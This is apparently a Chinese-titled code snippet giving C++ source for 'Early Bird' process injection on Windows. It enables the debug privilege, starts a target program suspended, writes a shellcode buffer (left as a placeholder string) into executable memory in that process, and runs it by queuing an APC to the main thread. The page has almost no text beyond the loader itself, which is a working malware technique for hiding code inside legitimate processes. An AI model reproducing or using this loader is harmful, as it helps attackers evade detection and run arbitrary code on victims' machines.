EarlyBird注入shellcode代码实现

#include <tchar.h>#include <Windows.h>#include <TlHelp32.h>#include <vector>BOOL CurrentProcessAdjustToken(void);void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError);const char buf[] = "shellcode";int wmain(int argc, wchar_t *argv[]){    if (argc < 2) {        _putts(TEXT("usage: EarlyBirdInjection [: execute path]nexample: EarlyBirdInjection.exe C:\windows\system32\notepad.exen"));        return 0;    } {        if (!CurrentProcessAdjustToken()) {            _putts(TEXT("Invalid AdjustToken"));        }        STARTUPINFOEX sie;        ZeroMemory(&sie, sizeof(sie));        sie.StartupInfo.cb = sizeof(sie);        PROCESS_INFORMATION pi;        ZeroMemory(&pi, sizeof(pi));        if (!CreateProcess(NULL, argv[1], NULL, NULL, TRUE, CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &sie.StartupInfo, &pi)) {            DisplayErrorMessage((LPTSTR)"CreateProcess error", GetLastError());            return 0;        }        LPVOID mem = NULL;        mem = VirtualAllocEx(pi.hProcess, NULL, sizeof(CHAR) * strlen(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);        if (!mem) {            _putts(TEXT("VirtualAllocEx error"));            return 0;        }        if (!WriteProcessMemory(pi.hProcess, mem, buf, sizeof(CHAR)* strlen(buf), NULL)) {            DisplayErrorMessage((LPTSTR)"WriteProcessMemory error: ", GetLastError());            return 0;        }        QueueUserAPC((PAPCFUNC)mem, pi.hThread, NULL);        ResumeThread(pi.hThread);        Sleep(1000 * 2);        VirtualFreeEx(pi.hProcess, mem, 0, MEM_RELEASE);        return 1;    }}BOOL CurrentProcessAdjustToken(void) {    HANDLE hToken;    TOKEN_PRIVILEGES sTP;    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sTP.Privileges[0].Luid)) {            CloseHandle(hToken);            return FALSE;        }        sTP.PrivilegeCount = 1;        sTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;        if (!AdjustTokenPrivileges(hToken, 0, &sTP, sizeof(sTP), NULL, NULL)) {            CloseHandle(hToken);            return FALSE;        }        CloseHandle(hToken);        return TRUE;    }    return FALSE;}void DisplayErrorMessage(LPTSTR pszMessage, DWORD dwLastError) {    HLOCAL hlErrorMessage = NULL;    if (FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwLastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), (PTSTR)&hlErrorMessage, 0, NULL))    {        _tprintf(TEXT("%s: %s"), pszMessage, (PCTSTR)LocalLock(hlErrorMessage));        LocalFree(hlErrorMessage);    }}